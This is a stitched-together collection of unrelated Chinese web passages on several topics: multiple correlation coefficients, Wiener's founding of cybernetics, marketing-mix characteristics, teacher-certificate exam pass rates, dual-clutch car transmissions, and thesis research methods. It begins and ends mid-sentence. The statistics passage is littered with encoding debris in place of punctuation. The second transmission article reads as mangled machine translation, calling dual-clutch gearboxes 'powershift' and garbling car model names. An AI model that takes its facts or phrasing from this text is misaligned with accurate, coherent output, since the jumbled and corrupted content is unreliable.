明ue005x、y是对z的主要影响因素ue004除此之外的因素很小。3.总体判断可用复相关系数ue004个别判断可用偏相关系数4.对多元函数做相关分析时ue004简单的相关系数作用不大了ue004得采用复、偏相关系数分析。回答:一般来说ue004生活中各个变量之间的关系没有严格的线性。而相关系数就是说明近似线性的程度。所以有必要求相关系数ue004再判断两个变量之间的关系是否可以看成是近似线性的。所以ue004是有意义的。但是如果完全呈非线性ue004可以一眼看出来ue004那么求不求都无所谓了。复相关系数定义一个要素或变量同时与几个要素或变量之间的相关关系。复相关系数是度量复相关程度的指标ue004它可利用单相关系数和偏相关系数求得。复相关系数越大ue004表明要素或变量之间的线性相关程度越密切。复相关系数(多重相关系数)ue005多重相关的实质就是Y的实际观察值与由p个自变量预测的值的相关。前面计算的确定系数是Y与相关系数的平方ue004那么复相关系数就是确定系数的平方根。复相关系数的计算复相关系数是测量一个变量与其他多个变量之间线性相关程度的指标。它不能直接测算ue004只能采取一定的方法进行间接测算。为了测定一个变量y与其他多个变量X1,X2,,Xk之间的相关系数ue004可以考虑构造一个关于X1,X2,,Xk的线性组合ue004通过计算该线性组合与y之间的简单相关系数作为变量y与X1,X2,,Xk之间的复相关系数。如何消除多重共线性从而计算因变量和各个自变量之间相关系数?回答:消除多重共线性的方法ue0051.逐步回归ue0042.主成分回归ue0043.零回归~

控制论学说的创立1969年的一天，在美国斯坦福大学的实验室里，科学家们正进行一项著名的实验，看表演者“赛克”是否有办法从地面爬到屋子中间的平台上，把那里的一只箱子推下去。实验开始，赛克走向平台。只见他绕着平台足足转了20分钟，还是爬不上去。赛克显得很窘，他环顾四周，突然发现墙角处有一块斜面板。他呆呆地沉思片刻，慢慢地把斜面板搁在平台上。然后，他沿着斜面板走上了平台，并把平台上的箱子推了下来。顿时，实验室里响起了一阵热烈的掌声。赛克是一个装有电脑的机器人，科学家们用控制论的功能模拟方法孕育了他，使他降生到了人间。这是现代控制论的成果之一。本世纪40年代美国科学家维纳在医学、生物和工程技术界一些专家协作下，通过电及电子系统和生物体内发生的各种过程之间的模拟研究，创立了这门崭新的学科。维纳从小就对数学、物理等许多学科有兴趣。在研究随机物理现象——布朗运动时，他逐步确立了统计理论思想。控制论研究对象的特点恰恰在于根据随机性的环境来决定和调整自己的行动。他在研究电滤波器的噪声与信息问题时，又形成了信息量的概念，这也是控制论的重要思想。在哲学思想上，维纳深受罗素和莱布尼兹的影响。在他的《控制论》中曾说：“假如我必须为控制论从科学史上挑选一位守护神，那就挑选莱布尼兹。莱布尼兹的哲学集中表现在两个密切联系着的概念上——普通符号论的概念和演示的概念。今日的数学记号和符号逻辑即来源于此。”他认为，“从莱布尼兹以后，似乎再没有一个人能够充分地掌握当代的全部知识活动了。从那时候起，科学日益成为专门在愈来愈狭窄领域内进行着的事业。”这种认识启发他去开拓各门学科之间“被忽视的无人区”，促使他逐渐产生了控制论的思想。30年代末期，维纳成为哈佛医学院神经生理学家罗森勃吕特博士主持的科学方法讨论会上的常客。与会者来自各个学科，是一批思想异常活跃，常能发表各种各样独特见解的学者。在这些讨论中，他意识到，科学发展中最有前途的领域是学科的边缘和交叉之处，他称之为“科学处女地”。这就成为维纳取得科学成果的战略思想。1948年，《控制论》出版了，维纳一下子成了举世闻名的人物。在书中，维纳介绍了用电子元件或机械元件组成的控制系统；使用统计方法研究信息的传递和加工；指出如何用控制论方法研究大脑和神经生理活动，等等。特别是给出控制论的数学表述，它包括：处理对于不可控变量的时间序列给出数学表述的问题；设计一个将输入函数变换为输出函数的算子；在算子设计中建立起确定最优性意义的判据。由于维纳方法在本质上是属于统计学的，因此很自然地引进无偏性、最小方差以及对输入和输出函数的自相关函数和相关分析等概念。从而，维纳又创立并发展了广义调和分析，还借助于遍历定理，将它应用于每个个别的样本函数以取得所需要的信息。书中还提出了一系列科学哲学和社会学方面的重要问题，例如，信息的本质是什么?它在哲学中的地位如何?机器是否能思维；会不会最终控制人等等，好些问题至今仍是科学家以及哲学家们争论的热点。1950年，维纳应美国读者的要求发表了一本关于控制论的通俗读物《人有人的用处》。这本书使他的名声从科学界扩大到了民众。后来，他又发表了《控制论与社会》(1958年)、《控制论新章》(1963年)等著作。

R2就是相关系数的平方，R在一元线性方程就直接是因变量自变量的相关系数，多元则是复相关系数

一般来说，营销组合的特点有以下四个方面：1．可控性营销组合各因素对企业来讲都是“可控制因素”。就是说企业可以根据市场的需要，选择生产经营的产品结构，制定产品的价格，选择分销渠道和促销方式等，对这些营销手段的运用和搭配，企业有自主权。但是这种自主性是相对的，是不能随心所欲的，因为企业营销过程中不但要受本身资源和目标的制约，而且还要受各种微观和宏观环境因素的影响和制约，这些是企业不可控的变量，即“不可控因素”。因此，营销管理者的任务就是在综合运用营销组合策略时，既要善于利用各种可控因素，又要善于灵活地适应外部环境的变化。这样，才能在市场上争得主动。也就是说，企业在制定营销组合时，必须以深入细致的市场调研为基础，充分掌握市场环境变化态势及目标市场的需求特点，只有根据市场环境变化和目标市场需要制定的营销组合，才是最优组合。 2.动态性 市场营销组合是一个动态组合。每一个组合因素都是不断变化的，是一个变数；同时又是相互影响的，每一个因素都是另一个因素的潜在替代者。在四个大的营销因素中，又各自包含着若干小的变数，每一个变数的变动，都会引起营销组合的变化，形成一个新的组合。因此，企业在环境千变万化、需求瞬息万变的市场上，为适应市场环境和消费需求的变化，企业必须及时调整营销组合的结构和策略，使营销组合与市场环境保持一种动态的适应关系。“动”是绝对的，“不动”是相对的，在“动”中才能求生存、求发展。3.复合性营销组合是一个复合系统，具有复合结构。四个大因素（即4Ps）中又各自包含若干小的因素，形成各个“P”的亚组合。因此，营销组合是至少包含两个层次的复合系统。企业在确定营销组合时，不但应求得四个大因素之间的最佳搭配，而且要安排好每个大因素内部的搭配，使所有这些因素达到灵活运用和有效组合。首先是四大因素的整体组合。假设企业根据目标市场的需要设计生产一种质量上乘的产品，那么，与此相适应，产品的价格必须与产品的质量相一致，分销渠道也必须与产品品质相一致，促销活动必须与产品品质、价格和分销渠道相一致，使四个因素密切配合起来，形成整体策略。其次是各个大因素内部的组合。以促销为例，企业要根据整体组合的目标和要求，对广告、人员推销、公共关系、营业推广等因素进行选择配置，使这些因素相互配合，形成促销组合，实现整体组合的目标和要求。如此类推，还要对促销组合的各个因素进行更深层次的组合，使企业各层次各环节的营销因素都协调配合，共同为实现企业营销目标发挥作用。4.整体性营销组合是企业根据营销目标制定的整体营销策略，它要求企业市场营销的相关因素协调配合，一致行动，发挥整体功能。因为各因素独立发挥作用时，难免缺乏整体的协调，有些功能就会相互抵消，或效果不明显；而在组合条件下，各个因素相互补充，协调配合，目标统一，其整体功能必然大于局部功能之和。因此，企业在制定营销组合时，应追求整体最优，而不能要求各个因素最优；各个亚组合也必须服从整体组合的目标和要求，维护营销组合的整体性，充分发挥营销组合系统的整体效用。

教资笔试通过率为30%左右。教师资格证笔试的通过率大概在30%，但笔试成绩只要是在70分以上便是合格。教师资格证面试的通过率还是挺高的，基本上能达到70%左右。所以这要你没有出现太大的问题，基本上是能够通过的。面试试讲的时间不够，或者试讲的时间比较短，甚至包括没有写板书，都是有可能通过的。如果你的结构化问答回答得还可以，试讲的结构正确，试讲内容新颖、重难点突出，有一点小错误是不影响你的考试结果的。毕竟有70%左右的通过率呢，还是算比较高的了。通过率高并不代表你一定能考过教师资格证面试，面试环节被挂掉会又很多原因，而且无法控制的原因较多。例如，考场上发挥失误，抽题较难，身体临时出状况等，都是无法控制的。但有个最关键的可控的变量是好好学习，充分准备。如果你根本没有好好准备教师资格证面试，想要通过一天半天的读书而顺利通过教师资格证面试，这无疑是非常困难的。匆匆忙忙准备一两天就直接上考场，结果是显而易见的。面试官一眼就可以看出你准备不充分，教师资格证面试试讲磕磕绊绊，想要通过，简直是不可能的。教资笔试必备物品：1、身份证：身份证是教师资格证报名和入场的必备材料。2、居住证：异地报考的社会考生；刚转换为社会考生在异地工作的毕业生需要携带居住证。3、准考证：考生入场后，应对号入座，保持安静，遵守考场纪律，并将本人的准考证、身份证件放在课桌的指定位置，接受监考员核对。4、考试文具：黑色签字笔、铅笔、尺子、转笔刀、橡皮等。书写笔一定要是0.5mm黑色签字笔，铅笔一定要是2B的。

关于双离合变速箱，国内很多车主几乎都有“谈虎色变”的味道，尤其是对于干式双离合。在之前的文章中，车易热评曾经分析过“为什么国产车普遍喜欢用双离合变速箱”。除了其他类型变速箱带来的成本关系和日益严格的排放标准外，双离合变速箱的原理和结构与手动变速箱相似，这也让国内车企很容易通过平台转型生产双离合变速箱。目前国内车企中，使用7速湿式双离合变速箱的品牌有长城、吉利、长安。长城使用的7速湿式双离合主要是代号为7DCT450的车型。是美国博格华纳提供的湿式离合器模块，德国大陆提供的变速箱控制单元，变速箱体由长城自己生产，编程调整由奔驰和Getrag完成。长城使用的双离合虽然没有实力领先其他国产品牌，但近几年也没有集中爆发问题，从侧面证明了变速箱的稳定性不错。但是，无论长城做什么车型，它都爱搭载那两款1.5T和2.0T的发动机，这让人们每次长城推出新车的时候，还是很少关注它的动力表现。毕竟，不管你说什么，都是一样的。吉利使用的7速湿式双离合是吉利和沃尔沃联合开发的，可以兼容48V轻混和插电式混合动力系统。目前，吉利已经在自己的柯灵品牌中广泛使用这种变速箱。未来，吉利还将把这款双离合搭载到约伯、星越、嘉际等车型上。吉利的双离合变速箱，其使用的供应商90%都是世界顶级供应商，研发过程持续4年。与传统的干式或湿式DCT相比，LEACK组装的7DCT采用了最新一代的电液执行系统。这既保留了湿式双离合的油冷方式，又采用了高效电机驱动换挡过程，并采用了变量可控的油泵，可按需供油，将动力效率提升到极致，最高传动效率可达97%。当然，从目前的实际使用效果来看，吉利的7速湿式双离合似乎比较稳定。长安使用的7速湿式双离合号称是首款自主研发的双离合变速箱，但作为双离合变速箱的核心部件之一，长安依然使用博格华纳提供的产品。长安双离合变速箱最具代表性的车型是搭载在被称为“地表最强”的长安1.4T蓝鲸系列发动机上。这款长安使用的全新蓝鲸NE动力平台，生产1.4T高压直喷发动机，基于国家6B排放标准开发，最大功率116kW，最大扭矩260Nm，1400rpm即可输出峰值扭矩，可持续到4000rpm。用长安汽车执行副总裁谭本红的话说，长安“1.4T+7速湿式双离合”动力组合的特点是动力强劲、油耗低、排放低，这也解决了过去很多车企“不能兼得”的动力遗憾。蓝鲸NE动力平台的成功，似乎意味着长安在动力系统上突破了国外公司制约的瓶颈，这是长安的一个转折点，也为长安未来推出更强大的车型奠定了基础。百万购车补贴

论文文献研究方法部分怎么写 论文文献研究方法部分怎么写，毕业论文对大学生是很重要的一项内容，如果毕业论文不通过就可能毕不了业了，论文的研究方法是很重要的，下面我和大家分享论文文献研究方法部分怎么写，一起来了解一下吧。 论文文献研究方法部分怎么写1 1、调查法 调查法是最为常用的方法之一，是指有目的、计划的搜集与论文主题有关的现实状况以及历史状况的资料，并对搜集过来的资料进行分析、比较与归纳。调查法会用到问卷调查法，分发给有关人员，然后加以回收整理出对论文有用的信息。 2、观察法 观察法是指研究者用自己的感官或者其他的辅助工具，直接观察被研究的对象，可以让人们的观察的过程中，可以拥有新的发现，还可以更好的启发人们的思维。 3、文献研究法 以一定的目标，来调查文献，从而获得关于论文的更加全面、正确地了解。文献研究法有助于形成对研究对象的一般印象，可以对相关资料进行分析与比较，从而获得事物的全貌。 论文研究方法最为典型的有调查法、观察法以及文献研究法，都是值得大家采用的方法。 论文文献研究方法部分怎么写2 论文写作中的研究方法与研究步骤 一、研究的循环思维方式 二、研究的路径 三、研究的分析方法 四、研究过程的设计与步骤 五、对传统研究思维模式的再思考 在我们指导研究生写论文的过程中，甚至于我们自己从事课题研究时，不禁让我们思考一系列有关研究的基本问题。例如，我们为什么要写论文?我们为什么要做研究?在我们探讨论文写作的过程中，我们是为了完成论文本身的写作，还是完成一个研究过程?写论文与做研究之间有什么联系与区别?如果论文写作应该反映一个研究过程，那么研究过程应该是什么样的?我们用什么样的方法进行研究?我们发现这些问题的解决，对指导研究生的论文写作有非常大的帮助。因此，本文就以我个人在从事教学课题研究和指导研究生完成论文中总结的一些有关研究方法与研究步骤的问题与大家交流共享。欢迎大家参与讨论。 世界上无论哪个领域都存在许多未知的事物，也存在着许多未知的规律。我们研究者的主要任务就是要不断地从大量的事实中总结规律，将之上升到可以指导实践的理论。然而理论也并不是绝对的真理，它也要在实践中不断地被修正，因此，就会有人对理论的前提和内容进行质疑，并提出新的猜想和新的思维。新的猜想和新的思维又要在实践中进行验证，从而发展和完善理论体系。我们探求未知事物及其规律就需要有研究的过程。这个过程，我们称之为研究的循环思维方式(Research Cycle)。用概念模型来表述就是[1]： Facts —Theory—Speculation 事实——理论——猜想 上述从“事实”到“理论”，再进行“猜想”就构成了一般研究的思路。从事科学研究的人员既要侧重从事实到理论的研究过程，也同时在研究中要有质疑和猜想的勇气。而这一思路并不是一个终极过程，而是循环往复的过程。当猜想和质疑得到了事实的证明后，理论就会得到进一步的修正。 上述研究的循环思维方式就是我们通常说的理论与实践关系中理论来源于实践的过程。这个过程需要严密的逻辑思维过程(Thought Process)。通常被认为符合科学规律，而且是合理有效的逻辑思维方法为演绎法(Deduction)和归纳法(Induction)。这两种逻辑思维方式应该贯穿研究过程的始终。 另外，从知识管理角度看研究的过程，在某种意义上，研究的过程也可以被理解为，将实践中的带有经验性的隐性知识转化为可以让更多的人共享的系统规律性的显性知识。而显性知识的共享才能对具体的实践产生普遍的影响。研究者除了承担研究的过程和得出研究的结论之外，还要将这一研究的过程和结论用恰当的方式表述出来，让大家去分享。不能进行传播和与人分享的任何研究成果，对社会进步都是没有意义的。 我们认为，研究人员(包括研究生)撰写论文就是要反映上述研究过程，不断探索和总结未知事物及其规律，对实践产生影响。我们强调，论文的写作不是想法(idea)的说明，也不仅是过程的表述。论文的写作要遵循一定的研究方法和步骤，在一定的假设和前提下，去推理和/或验证某事物的一般规律。因此，对研究方法的掌握是写好论文的前提条件。 研究的路径(Approaches)是我们对某事物的规律进行研究的出发点或者角度。研究通常有两个路径(Approaches)：实证研究和规范研究。 实证研究(Empirical Study)一般使用标准的度量方法，或者通过观察对现象进行描述，主要用来总结是什么情况(what is the case)。通常研究者用这种研究路径去提出理论假设，并验证理论。规范研究(Normative Study)：是解决应该是什么(what should be)的问题。研究者通常是建立概念模型(Conceptual Model)和/或定量模型(Quantitative Model)来推论事物的发展规律。研究者也会用这种路径去建立理论规范。 我们认为，上述两种研究的路径不是彼此可以替代的关系。二者之间存在着彼此依存和相辅相成的关系。对于反映事物发展规律的理论而言，实证研究与规范研究二者缺一不可，前者为理论的创建提供支持和依据;后者为理论的创建提供了可以遵循的研究框架和研究思路。 针对上述两个路径，研究过程中都存在着分析(Analytical)过程，也就是解释为什么是这样的情况(Explaining why the case is as it is)，而分析过程就需要具体的研究分析方法来支持。 [2]。然而，更多的学者倾向认为，定量与定性的方法问题更多的是从分析技术上来区别的[3]。因为，任何的研究过程都要涉及数据的收集，而数据有可能是定性的，也有可能是定量的。我们不能将定量分析与定性分析对立起来。在社会科学和商务的研究过程中既需要定量的研究分析方法，也需要定性的研究分析方法。针对不同的研究问题，以及研究过程的不同阶段，不同的分析方法各有优势。两者之间不存在孰优孰劣的问题。对于如何发挥各自优势，国外的一些学者也在探索将两者之间的有机结合[4]。 因此，定性分析方法是对用文字所表述的内容，或者其他非数量形式的数据进行分析和处理的方法。而定量分析方法则是对用数量所描述的内容，或者其他可以转化为数量形式的数据进行分析和处理的方法。一项研究中，往往要同时涉及到这两种分析方法[5]。定性分析是用来定义表述事物的基本特征或本质特点(the what)，而定量分析是用来衡量程度或多少(the how much)。定性分析往往从定义、类推、模型或者比喻等角度来概括事物的特点;定量分析则假定概念的成立，并对其进行数值上衡量[6]。 定量分析的主要工具是统计方法，用以揭示所研究的问题的数量关系。基本描述性的统计方法包括：频数分布、百分比、方差分析、离散情况等。探索变量之间关系的方法包括交叉分析、相关度分析、多变量之间的多因素分析，以及统计检验等。定量研究之所以被研究者所强调，是因为定量分析的过程和定量结果具有某种程度的系统性(Systematic)和可控性(Controlled)，不受研究者主观因素所影响。定量分析被认为是实证研究的主要方法。其优势是对理论进行验证(Theory Testing)，而不是创建理论(Theory Generation)。当然，相对自然科学的研究，社会科学和商务研究由于人的因素存在，其各种变量的可控性被遭到质疑，因此，定量分析被认为是准试验法(Quasi-experimental approach) 定性研究有其吸引人的一面。因为文字作为最常见的定性研究数据是人类特有的，文字的.描述被认为具有“丰富”、“全面”和“真实”的特点。定性数据的收集也最直接的。因此，定性分析与人有最大的亲和力。恰恰也就是这一点，定性分析也具有了很大的主观性。如果用系统性和可控性来衡量研究过程的科学性。定性分析方法比定量分析方法更被遭到质疑[7]。然而，定性数据被认为在辅助和说明定量数据方面具有重要价值[8]。实际上，定性分析方法往往贯穿在研究过程的始终，包括在数据的收集之前，有关研究问题的形成、理论的假设形成，以及描述性分析框架的建立等都需要定性的分析过程，即对数据进行解释和描述等。如果遵循系统性和可控性的原则，那么定性分析方法在数据的收集过程中也有一些可利用的辅助工具，例如，摘要法、卡片法、聚类编码法等。在研究结论的做出和结论的描述方面，像矩阵图、概念模型图表、流程图、组织结构图、网络关系图等都是非常流行的定性分析工具。另外，从定性的数据中也可以通过简单的计算、规类等统计手段将定性分析与定量分析方法结合起来。 这里要指出的是，科学研究不能用想法(idea)本身来代替。科学研究需要有一个过程，而这个过程是用一定的方法来证明有价值的想法，并使之上升为理论;或者通过一定的方法来证明、创建或改进理论，从而对实践和决策产生影响。研究过程的科学性决定了研究成果是否会对实践和决策产生积极的影响效果[9]。 第五步、进行数据的处理和分析 数据的处理主要是保证数据的准确性，并将原始的数据进行分类，以便转化成可以进行进一步分析的形式。数据处理主要包括数据编辑、数据编码和数据录入三个步骤。数据编辑(Data Editing)就是要识别出数据的错误和遗漏，尽可能改正过来，以保证数据的准确性、一致性、完整性，便于进一步的编码和录入。数据编码(Data Coding)就是对所收集的第一手数据(例如对问卷开放式问题的回答)进行有限的分类，并赋予一个数字或其他符号。数据编码的主要目的是将许多的不同回答减少到对以后分析有意义的有限的分类。数据录入(Data Entry)是将所收集的第一手或者第二手数据录入到可以对数据进行观察和处理的计算机中，录入的设备包括计算机键盘、光电扫描仪、条形码识别器等。研究者可以用统计分析软件，例如SPSS等对所形成的数据库进行数据分析。对于少量的数据，也可以使用工作表(Spreadsheet)来录入和处理。 数据的分析就是运用上述所提到的定性或定量的分析方法来对数据进行分析。研究者要根据回答不同性质的问题，采取不同的统计方法和验证方法。对于有些研究，仅需要描述性的统计方法，对于另一些研究可能就需要对假设进行验证。在统计学中，假设的验证需要推论的统计方法(Inferential Statistics)。对于社会科学和商务的研究，一些研究是针对所获取的样本进行统计差异(Statistical Significance)的验证，最终得出结论是拒绝(Reject)还是不拒绝(Fail to Reject)所设定的假设条件。另一些研究则是进行关联度分析(Measures of Association)，通常涉及相关分析(Correlation)和回归分析(Regression)。相关分析是通过计算来测度变量之间的关系程度;而回归分析则是为预测某一因变量的数值而创建一个数学公式。 值得注意的是，随着我们研究和分析的`问题越来越复杂，计算机和统计软件的发展使得多变量统计工具应用越来越广泛。如果多变量之间是从属关系，我们就需要从属关系的分析技巧(Dependency Techniques)，如多元回归分析(Multiple Regression)、判别分析(Discriminant Analysis)、方差的多元分析(MANOVA，Multivariate Analysis of Variance)、典型相关分析(Canonical Analysis)、线性结构关系分析(LISREL，Linear Structural Relationships)、结合分析(Conjoint Analysis)等。如果多变量之间是相互依赖关系，我们就需要相互依赖关系的分析技巧(Interdependency Techniques)，如因子分析(Factor Analysis)、聚类分析(Cluster Analysis)、多维尺度分析(Multidimensional Scaling)等。如果收集的数据有明显的时间顺序，我们不考虑变量之间的因果关系，而是重点考察变量在时间方面的发展变化规律，我们就需要时间序列分析(Time Series Analysis)。目前流行的统计软件，如SPSS对上述各种分析方法都提供非常好的支持。 第六步、得出结论，并完成论文 论文的撰写要结构合理、文字表达清楚确定，容易让人理解。形式上要尽量采取可视化的效果，例如多用图表来表现研究过程和研究结果。具体论文的撰写要考虑包含如下内容：摘要、研究介绍(包括背景、研究的问题、研究的目的)、研究的方法和步骤(样本选择、研究设计、数据收集、数据分析、研究的局限性)、研究的发现、结论(简要结论、建议、启示意义)、附录、参考文献。 针对社会科学和商务领域的问题研究，我们传统上所遵循的研究思维模式是：“提出问题、分析问题和解决问题”。我们承认这是一种创造性的思维过程。遵循这种思维方式可以帮助决策者快速找到问题，并解决问题。然而，用这一思维模式来指导研究的过程，容易使我们混淆研究者与决策者的地位，找不准研究者的定位。首先，这一研究思路和模式将问题的解决和问题的研究混在一起了。其次，没有突出，或者说掩盖了对研究方法的探讨和遵循。这种传统的思维方式是结果导向的思维方式。它忽略了问题的识别过程和研究方法的遵循过程。而从科学研究的角度看，问题的识别过程和研究方法的遵循过程是一项研究中非常重要的两个前提。问题的识别过程可以保证所研究的问题有很强的针对性，与理论和实践紧密联系，防止出现只做表面文章的情况，解决不了根本问题。研究方法的遵循过程可以保证研究结果的可靠性，使研究结果有说服力。当然，在此，我们并不是说明“提出问题、分析问题和解决问题”这一传统模式是错误的，也不否认研究的目的是指导实践。然而，我们觉得，这一传统研究思维模式太笼统，太注重结果导向，不足以说明科学的研究的一般方法和研究步骤。 在社会科学和商务研究中，运用这一传统的研究思路和模式来指导学生撰写论文，容易出现两个不良的倾向。一是使我们过于重视论文本身的写作过程，而忽略了论文写作背后的研究过程和研究方法。也就是只强调结果，不重视过程。在此情况下，论文的写作多半是进行资料的拼凑和整合。当然我们并不能低估资料的拼凑和整合的价值。可是，如果一味将论文的写作定位在这样的过程，显然有就事论事的嫌疑，无助于问题的澄清和问题的解决，也有悖于知识创造的初衷。特别是，既没有识别问题的过程，也没有形成研究问题和研究假设，甚至没有用任何可以遵循的研究分析方法，就泛泛对一个问题进行一般描述，进而提出感觉上的解决方案。这种研究结果是很难被接受的。第二个不良的倾向是上述传统的研究思路和模式使我们辨别不清我们是在做研究，还是在做决策。研究通常是在限定的一个范围内，在一定的假设前提下进行证明或推理，从而得出一定的结论。我们希望这个结论对决策者能产生影响。然而，决策者毕竟与研究者所处的地位是不一样的，考虑的问题与研究者或许一致，或许会很不一致。有价值的研究是要给处在不同地位的决策者(或者实践者)给予启示，并促其做出多赢的选择。因此，传统的研究思维模式缺乏研究的质量判定标准，缺乏系统性和可控性，也不具备可操作性，容易让研究者急功近利，盲目追求片面的终极的解决方案。 在指导对外经济贸易大学研究生的实践中，我们曾试图改变以往的传统思维模式，尝试让我们的研究生将论文的写作与研究过程结合起来，特别注重研究的过程和研究方法，并且要求在论文的写作中反映这些研究的方法与步骤。例如，2002届研究生万莲莲所写的《电子采购系统实施中的管理因素-摩托罗拉公司电子采购系统实施案例研究》硕士论文就是在这方面所做的最初探索。此论文的结构就分为综述、指导理论、方法论、数据分析，以及研究结论和启示等五个主要部分，运用了问卷调查和深度访谈等定性和定量的各种具体方法。其研究结论具有非常强的说服力，因为研究者并不限于第二手资料的收集、整理和加工，而是借鉴前人的理论研究框架，运用问卷定量调查等手段，遵循案例研究的方法，对第一手资料进行收集、处理和分析之后得出的结论，对实践具有较强的指导意义。相同的研究方法，我们又应用在其他研究生的论文写作过程中，例如2002届龚托所写的《对影响保险企业信息技术实施的主要因素的研究》、2003届王惟所写的《对中国铜套期保值现状的研究》，以及2003届马鸣锦所写的《中国银行业知识管理程度与网络银行发展程度的关系研究》等。通过论文写作，这些研究生的确掌握了一般研究的方法和研究的步骤。以上的研究结论对教学和实践直接有借鉴的意义。在教学和咨询过程中，其方法和结论都得到了肯定。据多方反馈，效果还是非常好的。 【注释】： [1]这是笔者在美国芝加哥自然博物馆看恐龙展览时了解的美国科学家的基本研究思路而得到的启示。 [2] Robson, Colin (1993), Real World Research: A Resource for Social Scientists and Practitioner-Researcher. Blackwell Publishers, P303。 [3] Bryman, A. (1988), Quality and Quantity in Social Research. London: Unwin Hyman.我们发现许多文献资料将定量与定性分析方法称为定量与定性技术(techniques) [4] Cook, T.D. and Reichardt, C.S. (1979) Qualitative and Quantitative Methods in Evaluation Research. Newbury Park and London: Sage. Ragin, C. C. (1987) The Comparative Method: moving beyond qualitative and quantitative strategies. Berkeley, Cal.: University of California Press. [5]Robson, Colin (1993), Real World Research: A Resource for Social Scientists and Practitioner-Researcher. Blackwell Publishers, P307。 [6] John Van Maanen, James M. Dabbs, Jr., and Robert R. Faulkner, Varieties of Qualitative Research (Beverly Hills: Calif.: Sage Publications, 1982), P32 [7] 这是因为社会科学和商务研究中包括了人的因素，而人本身作为分析者具有自身的缺陷。例如：数据的有限性、先入为主的印象、信息的可获得性、推论的倾向性、思维的连续性、数据来源可靠性、信息的不完善性、对信息价值判断误差、对比的倾向性、过度自信、并发事件与相关度的判断，以及统计数据的不一致性等。上述缺陷的总结与分析来源于Sadler, D. R. (1981) Intuitive Data Processing as a Potential Source of Bias in Educational Evaluation. Educational Evaluation and Policy Analysis, 3, P25-31。 [8] Robson, Colin (1993), Real World Research: A Resource for Social Scientists and Practitioner-Researcher. Blackwell Publishers, P371。 [9] Ronald R. Cooper, C. William Emory (1995, 5th ed) Business Research Methods, IRWIN, P352

但这种量的话你直接把它达到一个标准就可以了呀，这个都是很容易的。

最近很多网友在后台问我们:可以买双离合变速器吗？其实有这种疑惑的师兄师姐不在少数。因为这两年powershift实在是太火了，无论是合资还是自决，似乎都在追随这个“时代”。但是不得不说powershift确实有一些缺点，比如低速顿挫，可靠性差等等。尤其是可靠性差，甚至出现在2015年的“3·15晚会”上。而且至今没有彻底解决，所以很多人选车都会犹豫。很多懂车的朋友都知道，powershift出现各种问题的根本原因在于“干”的设计。因为它的离合器没有油冷却润滑，摩擦时间长了会使变速器过热，产生一系列问题。这时候有人会说:既然powershift这么不靠谱，为什么还要选它呢？原因很简单:动力换挡在效率和节能上比AT和CVT有绝对优势。它可以通过电子控制和液压推动来指挥两个离合器同时工作，并能保证一组档位在换挡时输出动力而不中断动力。同时行车电脑控制也会控制动力换挡在最佳时机换挡，从而达到更好的燃油经济性。纵观汽车市场主流合资品牌和豪华品牌，涡轮增压双离合已经成为一种趋势。例如，大众的DSG、奥迪的S-Tronic和雷克萨斯的DCT已经涵盖了各自品牌的大多数车型。接下来，我们就来看看这些搭载涡轮增压双离合的主流SUV的表现。1.大众视野中的岳悦5 330TSI主流车型采用代号为EA888的2.0T发动机和代号为DQ381的7挡湿式动力换挡，最大功率137 kW，最大扭矩320 Nm。其中四驱车型官方百公里加速为8.4秒，两驱车型为8.7秒。2.奥迪Q3奥迪Q3三款主流车型35TFSI搭载7挡S-Tronic湿式动力换挡，搭载代号为EA888的2.0T发动机，最大功率132kW，最大扭矩320 Nm。其中四驱车型官方百公里加速为8秒，两驱车型为8.1秒。3.链接01G 01搭载Drive-E系列的2.0TD发动机，并配备两款车型采用的7速湿式动力换挡，最大功率140 kW，最大扭矩300 Nm。其中四驱车型官方百公里加速为7.9秒，两驱车型为7.7秒。从上面可以看出，搭载2.0T 7挡动力换挡的三款SUV车型，发动机数据基本相当。但是，在百公里加速中，柯灵01的优势非常明显。最大的因素无疑是变速器的传动效率。那么，作为一款具有代表性的中/紧凑型SUV，它们搭载的是哪种变速器呢？这三款变速器最熟悉的是代号为DQ381的7挡动力换挡，是DQ380的升级版。与DQ380相比，它最大的优点是在液压方面增加了一个额外的连接到CAN总线的电动油泵，大大扩展了元件的供油范围。同时，升级轴承、密封圈、ATF油等。，会在一定程度上提高其平滑度。奥迪Q3作为一款水平发动机设计的车型，配备了DSG家族命名为DQ500的7挡动力换挡。奥迪将其命名为S-Tronic。众所周知，这是一款基于DQ250的6挡湿式双离合变速器，不仅多了一个挡位，而且整体尺寸也比DQ250更小。另外因为7档是超速档，所以在经济性上也有很好的优势。G 01的这款7挡湿式动力换挡由吉利和沃尔沃联合研发，可以承受330牛·米的最大扭矩。与传统的干式或湿式双离合相比，这款7DCT采用了最新一代的电液执行系统(没有常规油泵的功率损耗)，既保持了湿式双离合的油冷模式，又采用了高效的电机驱动换挡过程，采用变量可控的油泵按需供油。值得一提的是:据数据显示，这种传输的传输效率最高可达97%。综合来看，近年来涡轮增压动力换挡已经成为主流SUV的热门动力配置。正如我们今天给大家分享的，三款车都搭载了2.0T 7速双离合动力总成，可见这种组合已经成为汽车领域的一种趋势。有网友表示:“所有的powershift本质上没有太大区别，实际表现要看具体车型的匹配程度和调教风格”。的确，一辆车的动力总成的匹配程度是与这辆车的动力性能最直接相关的因素。接下来我们就来分别看看三款车的动力表现。作为家庭的“新同学”，大众谭跃以堪比奥迪的豪华动力配置为最大卖点。但是，由于其定位，谭跃的整体调整更倾向于舒适。最直接的感受就是D挡起步初期的动力响应略显疲惫，但转速超过1600转后，发动机就会爆发，最大扭矩320牛·米。虽然DQ381的7速湿式动力换挡在低速爬行或者爬坡时还是有轻微的顿挫感。不过它的换挡逻辑还是能达到同级别的标杆水平。奥迪Q3的三款中档车型均搭载EA888发动机和7速S-Tronic变速器。整体油门和刹车调节灵敏，动力充足，驾驶轻松。这款变速器最大的特点就是升档速度极快，可以有效降低车辆在换挡过程中产生的动力损失。而且乘坐舒适性也很好。除了在第一档和第二档之间切换时有轻微的顿挫外，其余档位几乎感觉不到任何顿挫。G 